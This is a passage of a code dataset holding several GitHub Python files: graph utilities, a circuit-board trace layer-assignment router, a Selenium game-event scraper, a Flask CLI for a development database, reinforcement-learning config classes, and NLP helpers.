u) for u in self._dict[v]])\n else:\n output = set()\n for e in self.edges():\n if e.start == v or e.end == v:\n output.add(e)\n return output\n\n # --------------- Modification of the data ------------------------\n def add_vertex(self, v) -> None:\n \"\"\"\n Adds a new vertex to the graph\n\n Parameters:\n 'v' : a Vertex object or a integer for a Vertex id\n If an integer is provided, the method will build a Vertex\n with the id field being v.\n \"\"\"\n self._matrix = None # reset adjacency matrix\n if not isinstance(v, Vertex):\n assert isinstance(v, int)\n v = Vertex(v)\n if v not in self._dict:\n self._dict[v] = set()\n\n def remove_vertex(self, v) -> None:\n \"\"\"\n Removes a vertex from the graph. If the given vertex is not present,\n this method does not do anything.\n\n Parameters:\n 'v' : a Vertex object or a integer for a Vertex id\n If an integer is provided, the method will build a Vertex\n with the id field being v.\n \"\"\"\n self._edges = None # reset edges set\n self._matrix = None # reset adjacency\n if not isinstance(v, Vertex):\n assert isinstance(v, int)\n v = Vertex(v)\n if v in self._dict:\n self._dict.pop(v, None)\n for x in self._dict:\n self._dict[x].discard(v)\n\n def add_edge(self, *args):\n \"\"\"\n Adds an edge in the graph. If one or both ends of the edge are not\n present in the graph, the coresponding vertices are added.\n\n NOTE : If the edge is a loop (that is, links a vertex to itself),\n will raise an exception as loops are forbidden.\n\n Parameters:\n 'args' : Edge | (Vertex, Vertex) | (name, name)\n The data needed to generate the edge. Can be directly an Edge\n object, or any pair of Vertex or vertex names.\n \"\"\"\n e = Edge(args)\n if e.start == e.end:\n raise Exception(\"Loops are forbidden in the Graph class.\\\n Use the MultiGraph class instead.\")\n if e.start not in self._dict:\n self._dict[e.start] = set([e.end])\n else:\n self._dict[e.start].add(e.end)\n if e.end not in self._dict:\n self._dict[e.end] = set([e.start])\n else:\n self._dict[e.end].add(e.start)\n if self._edges is not None:\n self._edges[(e.start, e.end)] = e\n self._edges[(e.end, e.start)] = e\n\n def remove_edge(self, *args):\n \"\"\"\n Removes an edge from the graph.\n\n Parameters:\n 'args' : Edge | (Vertex, Vertex) | (name, name)\n The data needed to generate the edge. Can be directly an Edge\n object, or any pair of Vertex or vertex names.\n \"\"\"\n e = Edge(args)\n self._dict[e.start].discard(e.end)\n self._dict[e.end].discard(e.start)\n if self._edges is not None:\n self._edges.pop((e.start, e.end), None)\n self._edges.pop((e.end, e.start), None)\n\n # ---------------- Stats computations -----------------------------\n def vertex_degree(self):\n \"\"\"\n Returns the list of degrees of the vertices in the graph.\n\n Returns:\n A list of integers\n \"\"\"\n return [len(self._dict[v]) for v in self.vertices()]\n\n def degree_sequence(self):\n \"\"\"\n Returns the list of degrees of the vertices in the graph sorted in\n decreasing order\n\n Returns:\n A list of integers sorted in decreasing order\n \"\"\"\n degree_list = self.vertex_degree()\n degree_list.sort(reverse=True)\n return degree_list\n\n def find_isolated_vertices(self):\n \"\"\"\n Returns the list of isolated vertices, that is vertices with degree 0\n\n Returns:\n A list of the names of vertices that have zero degree\n \"\"\"\n return [v for v in self.vertices() if len(self._dict[v]) == 0]\n\n def density(self):\n \"\"\"\n Computes the density of the graph, defined as the proportion of edges\n = {number of edges}/{total possible number of edges}\n = 2*{number of edges}/(N(N-1))\n\n Returns:\n The density of the graph\n \"\"\"\n e_nb = len(self.edges())\n v_nb = len(self.vertices())\n possible_edges = v_nb*(v_nb-1)/2\n return e_nb / possible_edges\n","repo_name":"GCoiffier/graph_tools","sub_path":"graphtool/graph/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":17052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2675714609","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nimport networkx\nfrom . import (types, tri, dijkstra)\nfrom ...utils import pairwise\nimport itertools\nfrom tqdm import tqdm\nfrom shapely.geometry import (Point, Polygon, MultiPolygon, CAP_STYLE,\n JOIN_STYLE, box, LineString, MultiLineString, MultiPoint)\nfrom shapely.ops import unary_union\nfrom shapely.prepared import prep\n\n# Alpha is a parameter that shifts the balance between vias and\n# overall line length. It must be > 0 and < 1.\n# A larger value favors longer paths, whereas a smaller value\n# will bias towards more vias.\nALPHA = 0.1\n\n\ndef line_between(shape1, shape2):\n return LineString([shape1.centroid, shape2.centroid])\n\n\nclass NodeLayerAssignment(object):\n ''' Represents the layer assignment for a connectable '''\n\n def __init__(self, node):\n self.node = node\n self.available_layers = set(node.layers)\n self.configured_layers = set()\n\n\nclass SourceSinkNode(object):\n ''' one of the endpoints of a two net assignment graph '''\n\n def __init__(self, nla):\n assert isinstance(nla, NodeLayerAssignment)\n self.nla = nla\n\n\nclass InputTwoNet(object):\n def __init__(self, a, b):\n self.source = SourceSinkNode(a)\n self.sink = SourceSinkNode(b)\n self.g = self.build_graph()\n\n def build_graph(self, via_count=3):\n ''' Build a layer assignment graph for the path a->b. '''\n g = networkx.DiGraph()\n\n a = self.source.nla.node\n b = self.sink.nla.node\n\n if a.net != b.net:\n print('a.net', a.net)\n print('a', a)\n print('b.net', b.net)\n print('b', b)\n assert a.net == b.net\n\n via_points = []\n left = a.shape.centroid\n right = b.shape.centroid\n distance = left.distance(right) / (via_count + 1)\n for i in range(0, via_count):\n line = LineString([left, right])\n vp = line.interpolate(distance)\n via_points.append(vp)\n left = vp\n\n g.add_node(self.source)\n g.add_node(self.sink)\n\n nodes_by_layer = {}\n\n for layer in [types.FRONT, types.BACK]:\n if a.is_on_layer(layer):\n al = types.Branch(a.shape, net=a.net, layer=layer, proxy_for=a)\n g.add_node(al)\n g.add_edge(self.source, al)\n else:\n al = None\n\n if b.is_on_layer(layer):\n bl = types.Branch(b.shape, net=b.net, layer=layer, proxy_for=b)\n g.add_node(bl)\n g.add_edge(bl, self.sink)\n else:\n bl = None\n\n nodes_by_layer[layer] = [al, bl]\n\n last = al\n for pt in via_points:\n vl = types.Branch(pt, net=a.net, layer=layer)\n nodes_by_layer[layer].append(vl)\n if last:\n g.add_edge(last, vl, line=line_between(\n last.shape, vl.shape))\n last = vl\n\n if bl:\n g.add_edge(last, bl, line=line_between(last.shape, bl.shape))\n\n # Generate the short circuit branches. The purpose\n # of these is to avoid understimation of certain\n # paths through the graph. Each consecutive sequence\n # of nodes is connected together\n for i in range(2, via_count + 2):\n if nodes_by_layer[layer][i] is None:\n continue\n for seq_len in range(2, via_count):\n if i + seq_len < len(nodes_by_layer):\n t = nodes_by_layer[layer][i + seq_len]\n if t is not None:\n g.add_edge(nodes_by_layer[layer][i], t, line=line_between(\n nodes_by_layer[layer][i].shape, t.shape))\n\n for i, node in enumerate(nodes_by_layer[types.FRONT]):\n # Can traverse up or down\n other = nodes_by_layer[types.BACK][i]\n if node and other:\n g.add_edge(node, other, via=i > 1)\n g.add_edge(other, node, via=i > 1)\n\n return g\n\n\nclass Component(object):\n ''' Represents a component formed out of connected paths\n on a layer of a board '''\n\n def __init__(self, a, b):\n a = a.centroid\n b = b.centroid\n self.terminals = set([(a.x, a.y), (b.x, b.y)])\n self.lines = [LineString([(a.x, a.y), (b.x, b.y)])]\n self.shape = self.lines[0]\n\n def update_with(self, comp):\n ''' Extends self with the component info from comp '''\n self.terminals.update(comp.terminals)\n self.lines += comp.lines\n self.shape = MultiLineString(self.lines)\n\n def __str__(self):\n return '%d terminals %d lines' % (len(self.terminals), len(self.lines))\n\n def detour_cost(self, line):\n ''' computes the detour cost for the line (A->B).\n Precondition is that line intersects with this component!\n The detour cost is the smallest path around the shape represented\n by this component. In the simplest case this component is a line I->J\n that forms an X shape where it intersects with A->B. The detour is\n to form a square path around the outside. This generalizes to\n computing the convex hull of the combined component and line; the\n detour cost is then the smallest distance walking from A to B\n either clockwise or counter clockwise around the vertices of\n the hull '''\n joined = unary_union([self.shape, line])\n hull = joined.convex_hull\n if hasattr(hull, 'exterior'):\n hull = list(hull.exterior.coords)\n # the final coord loops back to the start; remove it\n hull.pop()\n else:\n hull = list(hull.coords)\n\n a, b = list(line.coords)\n\n # Since we buffered out the shapes, we need to make a pass to find\n # the closest points to our A and B points\n\n def closest(vert, exclude=None):\n best = None\n vert = Point(vert)\n for p in hull:\n if exclude and exclude == p:\n continue\n d = vert.distance(Point(p))\n if not best or d < best[0]:\n best = [d, p]\n return best[1]\n\n a_close = closest(a)\n b_close = closest(b, exclude=a_close)\n\n # Map those to indices\n for i in range(0, len(hull)):\n if hull[i] == a_close:\n a_pos = i\n if hull[i] == b_close:\n b_pos = i\n\n if a_pos == b_pos:\n print(line)\n print(hull)\n print('boom')\n from ... import svg\n doc = svg.SVG()\n doc.add(self.shape, stroke='red',\n stroke_width=0.01, fill_opacity=0)\n doc.add(line, stroke='blue', stroke_width=0.01, fill_opacity=0)\n doc.add(joined.convex_hull, stroke='grey',\n stroke_width=0.01, fill_opacity=0)\n doc.save('/tmp/gah.svg')\n assert a_pos != b_pos\n return 0\n\n # [A x y B] -> [A, x, y, B] and [B, A]\n # [x A y B] -> [A, y, B] and [B, x, A]\n # [B x A y] -> [A, y, B] and [B, x, A]\n\n a_path = hull[a_pos:] + hull[:-a_pos]\n a_cost = 0\n for i, j in pairwise(a_path):\n a_cost += LineString([i, j]).length\n if j == b:\n assert a_cost != 0\n break\n\n b_path = hull[b_pos:] + hull[:-b_pos]\n b_cost = 0\n for i, j in pairwise(b_path):\n b_cost += LineString([i, j]).length\n if j == a:\n assert b_cost != 0\n break\n\n base_detour = LineString([a, a_close]).length + \\\n LineString([b, b_close]).length\n return min(a_cost, b_cost) + base_detour\n\n\nclass ComponentList(object):\n ''' A list of components on a layer '''\n\n def __init__(self):\n self.comps = set()\n\n def component_for_vertex(self, vert):\n for comp in self.comps:\n if vert in comp.terminals:\n return comp\n return None\n\n def add(self, comp):\n ''' Adds a component, merging it if appropriate '''\n\n # Find the set of components that share vertices\n to_merge = set()\n for vert in comp.terminals:\n m = self.component_for_vertex(vert)\n if m:\n to_merge.add(m)\n # Remove it from the set; it will be merged\n # into the component we're adding in this call\n self.comps.remove(m)\n\n # Now merge them together\n for m in to_merge:\n comp.update_with(m)\n\n self.comps.add(comp)\n\n def intersects(self, shape):\n vert_a, vert_b = list(shape.coords)\n shape = prep(shape)\n for comp in self.comps:\n if vert_a in comp.terminals:\n continue\n if vert_b in comp.terminals:\n continue\n if shape.intersects(comp.shape):\n yield comp\n\n\nclass Path(object):\n ''' Holds some path related state '''\n\n def __init__(self, cost, input_2net, path):\n self.cost = cost\n self.input_2net = input_2net\n self.path = path\n\n\nclass Configuration(object):\n def __init__(self, two_nets):\n self.cost = None\n self.paths = []\n self.cost_cache = {}\n self.assignment_order = []\n self.components_by_layer = {\n types.FRONT: ComponentList(),\n types.BACK: ComponentList(),\n }\n self.two_nets = []\n self.raw_two_nets = two_nets\n\n nla_map = {}\n\n def nla_for_node(node):\n nla = nla_map.get(node)\n if not nla:\n nla = NodeLayerAssignment(node)\n nla_map[node] = nla\n return nla\n\n for net in two_nets:\n self.two_nets.append(InputTwoNet(nla_for_node(net[0]),\n nla_for_node(net[1])))\n\n def edge_weight(self, source, target, edgedata):\n key = (source, target)\n cost = self.cost_cache.get(key)\n if cost is None:\n detour_cost = 0\n basic_cost = 0\n is_via = edgedata.get('via', False)\n\n if isinstance(source, SourceSinkNode) or isinstance(target, SourceSinkNode):\n # Source/sink node traversal.\n\n if not isinstance(source, SourceSinkNode):\n # we can never have SourceSinkNode->SourceSinkNode, so we can\n # safely swap the values here to make the code simpler\n source, target = target, source\n\n # assert isinstance(source, SourceSinkNode)\n # assert not isinstance(target, SourceSinkNode)\n # assert len(target.layers) == 1\n\n layer = target.layers[0]\n if layer not in source.nla.available_layers:\n basic_cost = float('inf')\n elif (len(source.nla.configured_layers) > 0) and (\n layer not in source.nla.configured_layers):\n basic_cost = float('inf')\n\n elif not is_via:\n my_line = edgedata.get('line')\n if my_line:\n basic_cost = my_line.length\n\n # assert len(source.layers) == 1\n # assert len(target.layers) == 1\n layer = source.layers[0]\n\n # Compute the detour cost; this is minimum length of an alternate\n # path that we'd need to take to avoid intersecting segments\n\n for comp in self.components_by_layer[layer].intersects(my_line):\n d1 = comp.detour_cost(my_line)\n #tqdm.write('segment %s intersects with comp %s, cost %s' % (my_line, comp, d1))\n if detour_cost == 0:\n detour_cost = d1\n else:\n detour_cost = min(detour_cost, d1)\n\n cost = ((1 - ALPHA) * (basic_cost + detour_cost))\n if is_via:\n cost += ALPHA\n\n self.cost_cache[key] = cost\n return cost\n\n def _invalidate_cache_for_path(self, path):\n ''' Invalidate cached cost information for segments that intersect\n those in the newly added path '''\n if not self.paths or not self.cost_cache:\n return\n\n g = path.input_2net.g\n\n invalidated = set()\n for source, target in pairwise(path.path):\n if isinstance(source, SourceSinkNode) or isinstance(target, SourceSinkNode):\n continue\n my_line = g[source][target].get('line')\n if not my_line:\n continue\n for p in self.paths:\n for i, j in pairwise(p.path):\n if (i in invalidated) and (j in invalidated):\n continue\n\n if not (hasattr(i, 'shape') and hasattr(j, 'shape')):\n continue\n\n seg_line = p.input_2net.g[i][j].get('line')\n if seg_line and seg_line.intersects(my_line):\n invalidated.add(i)\n invalidated.add(j)\n\n for key in list(self.cost_cache.keys()):\n a, b = key\n if (a in invalidated) or (b in invalidated):\n del self.cost_cache[key]\n\n def add_path(self, path):\n self._invalidate_cache_for_path(path)\n self.paths.append(path)\n self.cost = None\n self.assignment_order.append(path.input_2net)\n\n # Track the layer assignments\n for a, b in pairwise(path.path):\n if isinstance(a, SourceSinkNode):\n source, node = a, b\n elif isinstance(b, SourceSinkNode):\n source, node = b, a\n else:\n if a.shape != b.shape:\n comp = Component(a.shape, b.shape)\n self.components_by_layer[a.layers[0]].add(comp)\n continue\n\n layer = node.layers[0]\n source.nla.configured_layers.add(layer)\n\n def compute_cost(self):\n if self.cost is None:\n self.cost = 0\n for path in tqdm(self.paths, desc='compute cost'):\n for a, b in pairwise(path.path):\n self.cost += self.edge_weight(a,\n b, path.input_2net.g[a][b])\n\n return self.cost\n\n def initial_assignment(self):\n ''' Assign 2net in ascending order of cost '''\n with tqdm(desc='initial 2net assignment', total=len(self.two_nets)) as pbar:\n free = set(self.two_nets)\n\n while len(free) > 0:\n pbar.update(1)\n best = None\n for n in free:\n cost, path = dijkstra.dijkstra(n.g, n.source, n.sink,\n edge_weight=self._make_edge_weight_func(),\n cutoff=best.cost if best is not None else None)\n\n if cost is None:\n # hit the cutoff\n continue\n\n if not best or cost < best.cost:\n best = Path(cost, n, path)\n\n free.remove(best.input_2net)\n self.add_path(best)\n #tqdm.write('best is cost=%r (overall %r)' % (cost, self.compute_cost()))\n\n return self\n\n def _make_edge_weight_func(self):\n def fn(v, u, e):\n return self.edge_weight(v, u, e)\n return fn\n\n def improve(self):\n improved = True\n best_cfg = self\n import time\n\n start = time.time()\n\n # Setting a deadline because there are a lot of combinations to\n # try and it is relatively expensive\n deadline = start + 10\n while improved and time.time() < deadline:\n improved = False\n\n best_order = [x for x in best_cfg.assignment_order]\n for i, node in enumerate(tqdm(best_order, desc='improving')):\n if time.time() >= deadline:\n break\n\n order = [x for x in best_order]\n order.insert(0, order.pop(i))\n\n if order == best_order:\n continue\n\n cfg = Configuration(self.raw_two_nets)\n cutoff = None\n failed = False\n for n in tqdm(order, desc='pass %d' % i):\n cost, path = dijkstra.dijkstra(\n n.g, n.source, n.sink, edge_weight=cfg._make_edge_weight_func(), cutoff=cutoff)\n if cost is None:\n # It's not possible to yield a better result\n # than the best we already have\n failed = True\n break\n cfg.add_path(Path(cost, n, path))\n cutoff = best_cfg.compute_cost() - cfg.compute_cost()\n if cutoff <= 0:\n # Can't do well enough to improve on this round\n failed = True\n break\n\n if not failed and cfg.compute_cost() < best_cfg.compute_cost():\n improved = True\n tqdm.write('Improved cost from %r to %r' %\n (best_cfg.compute_cost(), cfg.compute_cost()))\n best_cfg = cfg\n\n return cfg\n","repo_name":"wez/clacker","sub_path":"tools/circuitlib/router/layerassign.py","file_name":"layerassign.py","file_ext":"py","file_size_in_byte":17773,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"52"} +{"seq_id":"41572076358","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nEditor de Spyder\r\n\r\nEste es un archivo temporal.\r\n\"\"\"\r\nfrom selenium import webdriver\r\nfrom time import sleep\r\nfrom numpy import random\r\nimport pandas as pd\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\n\r\n\r\n\r\n\r\n\r\ndef scraping():\r\n #funcion que recibe la categoria de waltmare\r\n #devuelve los productos en una lista llamada \"d\"\r\n driver = webdriver.Chrome('C:/Users/Tomas/Documents/GitHub/Waltmart_scrapper/chromedriver.exe')\r\n \r\n\r\n #obtiene el link (el path fue defindio al principio, y la categoria es la entrada de la funcion)\r\n driver.get(\"https://www.imperiumao.com.ar/es/eventdata.php?i=12&n=Experiencia%20x2\")\r\n #los try y except estan para evitar que se rompan el programa si falta algun dato\r\n try:\r\n estado1 = driver.find_element_by_xpath('//table[@width=\"90%\"]/tbody/tr[6]/td[2]/p').text\r\n estado2 = driver.find_element_by_xpath('//table[@width=\"90%\"]/tbody/tr[7]/td[2]/p').text\r\n estado3 = driver.find_element_by_xpath('//table[@width=\"90%\"]/tbody/tr[8]/td[2]/p').text\r\n print(estado1)\r\n print(estado2)\r\n print(estado3)\r\n if estado1 != estado2 or estado2 != estado3 or estado1 != estado3:\r\n print(\"NOTIFICACION DE ACTIVO ENVIAR WPP\")\r\n except:\r\n print(\"ENVIAR NOTIFICCION DE FALLO\")\r\n \r\n sleep(1500)\r\n \r\n\r\nwhile True:\r\n scraping() ","repo_name":"tomasruffo/imperiumscraper","sub_path":"imperium_scrapper.py","file_name":"imperium_scrapper.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31444974265","text":"\"\"\"\nCommand-line scripts for Windowbox.\n\nThis file defines several custom commands for use with the `flask `\nutility. Broadly, these scripts can do the following:\n\n * Initialize, fill, and clear the development database.\n * Run development reports (style checks/unit tests).\n\nEach script tries to be a courteous command-line citizen, implementing exit\ncodes and responding to `flask --help` in useful ways.\n\nNOTE: The `flask` utility is sensitive to the current working directory. It\n*MUST* be run from /vagrant or one of the subdirectories beneath or the\napplication code will not be properly detected.\n\nAttributes:\n DEV_DB_SUFFIX: The expected value the database connection string should end\n with. If this suffix does not match, all scripts that manipulate the\n database will abort for safety.\n DEV_CLI_EMAIL_ADDRESS: Email address to use for the Sender in the\n `flask insert` command.\n DEV_CLI_DISPLAY_NAME: Display name to use for the Sender in the\n `flask insert` command.\n DEV_CLI_USER_AGENT: User-agent string to use for the Post in the\n `flask insert` command.\n FAKE_IMAGE_DIMENSIONS: Tuple containing the width, height of the \"full\"\n image in the `flask insert` command.\n CIRCLE_AREA: 4-tuple of (x1, y1, x2, y2) outlining the bounding box for the\n inner circle in the fake image (to visually verify cropping).\n\"\"\"\n\nimport click\nimport os\nimport shutil\nimport sys\nfrom subprocess import call\nfrom windowbox import app\nfrom windowbox.database import db\n\nDEV_DB_SUFFIX = '/dev.sqlite'\nDEV_CLI_EMAIL_ADDRESS = 'cli@localhost'\nDEV_CLI_DISPLAY_NAME = 'Development User'\nDEV_CLI_USER_AGENT = 'windowbox.cli'\nFAKE_IMAGE_DIMENSIONS = (2000, 1500)\nCIRCLE_AREA = (250, 0, 1750, 1499)\n\n\n@app.cli.command('create')\ndef cli_create(): # pragma: nocover\n \"\"\"\n Create all database tables defined by the app models.\n\n If the database already exists, this function is a no-op and will not harm\n any existing data that may be stored there.\n \"\"\"\n if not app.config['SQLALCHEMY_DATABASE_URI'].endswith(DEV_DB_SUFFIX):\n raise EnvironmentError('Refusing to create a non-dev database')\n\n db.create_all()\n\n print('Dev database created.')\n\n\n@app.cli.command('drop')\ndef cli_drop(): # pragma: nocover\n \"\"\"\n Drop all database tables defined by the app models AND clear storage files.\n\n If the database does not exist, this function will succeed quietly.\n \"\"\"\n if not app.config['SQLALCHEMY_DATABASE_URI'].endswith(DEV_DB_SUFFIX):\n raise EnvironmentError('Refusing to drop a non-dev database')\n\n db.drop_all()\n\n for d in (app.attachments_path, app.derivatives_path):\n shutil.rmtree(d)\n\n print('Dev database and storage files dropped.')\n\n\n@app.cli.command('insert')\n@click.argument('count', default=1, type=int)\ndef cli_insert(count): # pragma: nocover\n \"\"\"\n Generate COUNT Posts with Attachments and all other attributes filled in.\n\n If unspecified, COUNT defaults to 1.\n \"\"\"\n import sqlalchemy.orm.exc\n from PIL import Image, ImageDraw\n from random import randrange\n from windowbox.models.post import Post\n from windowbox.models.sender import Sender\n\n print(f'Generating {count} Post(s)...')\n\n try:\n sender = Sender.query.filter_by(email_address=DEV_CLI_EMAIL_ADDRESS).one()\n except sqlalchemy.orm.exc.NoResultFound:\n sender = Sender(\n email_address=DEV_CLI_EMAIL_ADDRESS,\n display_name=DEV_CLI_DISPLAY_NAME)\n db.session.add(sender)\n print(f'Sender {DEV_CLI_EMAIL_ADDRESS} was created.')\n\n for _ in range(count):\n color = (randrange(256), randrange(256), randrange(256))\n fake_caption = f'#{color[0]:0>2X}{color[1]:0>2X}{color[2]:0>2X}'\n fake_image = Image.new('RGB', FAKE_IMAGE_DIMENSIONS, color)\n draw = ImageDraw.Draw(fake_image)\n draw.ellipse(CIRCLE_AREA, fill=(color[2], color[1], color[0]))\n\n post = Post(\n sender=sender,\n caption=fake_caption,\n user_agent=DEV_CLI_USER_AGENT)\n db.session.add(post)\n\n attachment = post.new_attachment(mime_type='image/jpeg')\n db.session.add(attachment)\n db.session.flush()\n\n attachment.base_path = app.attachments_path\n attachment.set_storage_data_from_image(fake_image)\n attachment.populate_exif(exiftool_client=app.exiftool_client)\n\n attachment.geo_latitude = attachment.exif['Composite:GPSLatitude.num'] = 36\n attachment.geo_longitude = attachment.exif['Composite:GPSLongitude.num'] = -78.9\n attachment.geo_address = 'Command Line, USA'\n\n db.session.commit()\n\n print(f'Post {post.id}: {fake_caption}')\n\n print('Done.')\n\n\n@app.cli.command('lint')\ndef cli_lint(): # pragma: nocover\n \"\"\"\n Lint the Python code using flake8.\n \"\"\"\n retcode = call(['flake8'])\n\n if retcode == 0:\n print('No style problems found.')\n\n sys.exit(retcode)\n\n\n@app.cli.command('test', context_settings={'ignore_unknown_options': True})\n@click.argument('pytest_args', nargs=-1, type=click.UNPROCESSED)\ndef cli_test(pytest_args): # pragma: nocover\n \"\"\"\n Run the unit tests.\n\n If PYTEST_ARGS is provided, they will be passed to the test runner.\n \"\"\"\n os.environ['WINDOWBOX_CONFIG'] = 'configs/test.py'\n\n sys.exit(call(['pytest', *pytest_args]))\n","repo_name":"smitelli/windowbox","sub_path":"windowbox/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":5386,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"16972193053","text":"from abc import ABC, abstractmethod\nimport os, datetime\n\n\ndef factory(classname):\n cls = globals()[classname]\n return cls\n\n\ndef get_config(name, config_env_name):\n return factory(name)(name, config_env_name)\n\n\nclass Config(ABC):\n def __init__(self, name, config_env_name):\n self.name = name\n self.config_env_name = config_env_name\n\n # output config\n self.output_path = \"results/{}-{}/\".format(name, config_env_name)\n self.output_path = self.output_path + datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S') + \"/\"\n os.makedirs(self.output_path)\n\n self.model_output = self.output_path + \"model.weights/\"\n self.log_path = self.output_path + \"log.txt\"\n self.plot_output = self.output_path\n\n # general experiment settings\n self.record = True\n # self.record_path = self.output_path\n # self.record_freq = None\n self.summary_freq = 1\n self.show_plots = True\n\n # for evaluation\n self.eval_episodes = 1000 # how many episodes to sample from eval set.\n self.record_episodes = 100 # to compute stats when record is triggered\n self.plots_per_record = 10 # how many plots to save per recording\n\n self.build()\n\n @abstractmethod\n def build(self):\n raise NotImplementedError\n\nclass BaselineZero(Config):\n def build(self):\n self.controller_name = \"BaselineZero\"\n\n\nclass BaselineOne(Config):\n def build(self):\n self.controller_name = \"BaselineOne\"\n\n\nclass BaselineFeasible(Config):\n def build(self):\n self.controller_name = \"BaselineFeasible\"\n\n\nclass Random(Config):\n def build(self):\n self.controller_name = \"Random\"\n\n\nclass PG(Config):\n def build(self):\n self.controller_name = \"PG\"\n\n self.use_baseline = True\n self.normalize_advantage = True\n\n # model and training config\n self.num_batches = 100 # number of batches trained on\n self.batch_size = 4 * 24 * 100 # number of steps used to compute each policy update\n\n self.learning_rate = 0.03\n # self.gamma = 0.8 # the discount factor\n # self.gamma = 0.95 # the discount factor\n # self.gamma = 1 # the discount factor\n\n # parameters for the policy and baseline models\n self.layer_sizes = (512, 512, 256)\n\n # overwrite from general config:\n self.record = True\n self.record_freq = self.num_batches // 10\n\n\nclass PG_small(PG):\n def build(self):\n super().build()\n self.layer_sizes = (128, 128, 64)\n\n\nclass PG_nano(PG):\n def build(self):\n super().build()\n self.layer_sizes = (64, 32, 16)\n\n\nclass PG_nano_long(PG):\n def build(self):\n super().build()\n self.layer_sizes = (64, 32, 16)\n\n # model and training config\n self.num_batches = 10000 # number of batches trained on\n self.batch_size = 4 * 24 # number of steps used to compute each policy update\n\n self.learning_rate = 0.001\n self.record_freq = self.num_batches // 10\n\n\nclass PG_linear(PG):\n def build(self):\n super().build()\n self.layer_sizes = []\n\n\nclass ConfigQN(Config):\n def build(self):\n # env config\n self.render_train = False\n self.render_test = False\n\n # model and training config\n self.num_episodes_test = 50\n self.grad_clip = True\n self.clip_val = 10\n self.log_freq = 50\n self.soft_epsilon = 0.05\n\n # hyper params\n self.nsteps_train = 5e5\n self.batch_size = 32\n self.buffer_size = 200000\n self.target_update_freq = 10000\n # self.gamma = 0.8 # the discount factor\n # self.gamma = 0.95 # the discount factor\n # self.gamma = 1\n self.learning_freq = 1\n self.lr_begin = 0.003\n self.lr_end = 0.0003\n self.lr_nsteps = self.nsteps_train/2\n self.eps_begin = 1\n self.eps_end = 0.03\n self.eps_nsteps = self.nsteps_train/4\n self.learning_start = 50000\n\n # model and training config\n self.saving_freq = self.nsteps_train // 2\n self.log_freq = 50\n self.eval_freq = self.nsteps_train // 10\n\n # overwrite from general config:\n self.record_freq = self.nsteps_train // 5\n\n\nclass LinearQN(ConfigQN):\n def build(self):\n super().build()\n self.controller_name = \"LinearQN\"\n\n\nclass DeepQN(ConfigQN):\n def build(self):\n super().build()\n self.controller_name = \"DeepQN\"\n self.layer_sizes = (512, 512, 256)\n\n\nclass DeepQN_small(DeepQN):\n def build(self):\n super().build()\n self.layer_sizes = (128, 128, 64)\n\n\nclass DeepQN_nano(DeepQN):\n def build(self):\n super().build()\n self.layer_sizes = (64, 32, 16)\n\n\nclass QLearningMLP(Config):\n def build(self):\n self.controller_name = \"QLearningMLP\"\n self.hidden_layer_sizes = (700, 500, 300)\n self.lr = 0.001\n self.epsilon = 1\n\n self.num_batches = 1000 # number of batches trained on\n self.batch_size = 4 * 24 * 6 # number of steps used to compute each policy update\n self.record_freq = self.num_batches // 10\n\n\nclass SarsaMLP(Config):\n def build(self):\n self.controller_name = \"SarsaMLP\"\n self.hidden_layer_sizes = (700, 500, 300)\n self.lr = 0.001\n self.epsilon = 1\n\n self.num_batches = 1000 # number of batches trained on\n self.batch_size = 4 * 24 * 6 # number of steps used to compute each policy update\n self.record_freq = self.num_batches // 10\n\nclass QLearningMLPDouble(Config):\n def build(self):\n self.controller_name = \"QLearningMLPDouble\"\n self.hidden_layer_sizes = (700, 500, 300)\n self.lr = 0.001\n self.epsilon = 1\n\n self.num_batches = 1000 # number of batches trained on\n self.batch_size = 4 * 24 * 6 # number of steps used to compute each policy update\n self.record_freq = self.num_batches // 10\n\nclass SarsaMLPDouble(Config):\n def build(self):\n self.controller_name = \"SarsaMLPDouble\"\n self.hidden_layer_sizes = (700, 500, 300)\n self.lr = 0.001\n self.epsilon = 1\n\n self.num_batches = 1000 # number of batches trained on\n self.batch_size = 4 * 24 * 6 # number of steps used to compute each policy update\n self.record_freq = self.num_batches // 10\n\n","repo_name":"ourownstory/controller_ev_charging","sub_path":"config_controller.py","file_name":"config_controller.py","file_ext":"py","file_size_in_byte":6596,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"26673140047","text":"from nltk.tokenize import RegexpTokenizer\nfrom nltk.probability import FreqDist\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\nfrom PIL import Image\nimport numpy as np\nfrom nltk.corpus import stopwords\nimport os\nimport sys\nfrom textblob import TextBlob\n\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.metrics import accuracy_score, f1_score, confusion_matrix\n\nstop_words = set(stopwords.words(\"english\"))\n# Extend stopwords (see analysis below)\nextension = {\n 'trumps',\n 'trump',\n 'obama',\n 'donald',\n 'new',\n 'u'\n}\nstop_words.update(extension)\n\n# Import module\nmodule_path = os.path.abspath(os.path.join('./src'))\nif module_path not in sys.path:\n sys.path.append(module_path)\n \nfrom modules import preprocessing as pp\nfrom modules import graph, modelling \n\n\n\ntokenizer = RegexpTokenizer(r'[a-zA-Z0-9]+')\n\ndef get_vocab_length(Series, words=30, title=\"Word Frequency\", show_graph=True):\n \"\"\"\n Returns a frequency dictionary of the top words in the corpus\n \n \"\"\"\n corpus = \" \".join(Series.to_list())\n corpus = tokenizer.tokenize(corpus)\n freqdist = FreqDist(corpus)\n if show_graph:\n fig, ax = plt.subplots(nrows=1,ncols=1, figsize=(12,6))\n freqdist.plot(words, title= title)\n print(f\"Current Vocab size is = {len(freqdist)}\")\n return freqdist\n\n\ndef get_subjectivity(text):\n \"\"\"\n \n Returns subjectivity using the TextBlob Implementation\n \n \"\"\"\n 